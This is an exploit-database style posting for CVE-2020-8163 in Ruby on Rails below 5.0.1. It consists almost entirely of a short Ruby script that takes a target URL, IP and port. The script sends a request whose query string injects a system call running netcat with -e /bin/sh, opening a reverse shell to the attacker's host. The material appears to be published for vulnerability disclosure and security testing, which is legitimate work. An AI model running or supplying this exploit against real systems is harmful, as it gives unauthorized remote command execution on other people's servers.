Ruby On Rails 5.0.1 Remote Code Execution

`# Exploit Title: Rails 5.0.1 - Remote Code Execution  
# Date: 2020-07-19  
# Exploit Author: Lucas Amorim  
# Vendor Homepage: www.rubyonrails.org  
# Software Link: www.rubyonrails.org  
# Version: Rails < 5.0.1  
# Tested on: Linux/OSx  
# CVE : CVE-2020-8163  
# More information: https://github.com/sh286/CVE-2020-8163  
  
#!/usr/bin/ruby  
  
require 'net/http'  
  
def header  
puts "[*] - CVE-2020-8163 - Remote code execution of user-provided local names in Rails < 5.0.1\n"   
puts "[*] - Author: Lucas Amorim [email protected]"  
puts "[*] - Usage: \n"  
puts "ruby exploit.rb <url> <ip> <port>"  
end  
if ARGV.length < 3  
header  
exit(-1)  
end  
  
url = ARGV[0]  
ip = ARGV[1]  
port = ARGV[2]  
  
puts "[*] Sending payload to #{url}"  
uri = URI(url+"?system(%27nc+-e+/bin/sh+#{ip}+#{port}%27)%3ba%23")  
Net::HTTP.get(uri)  
`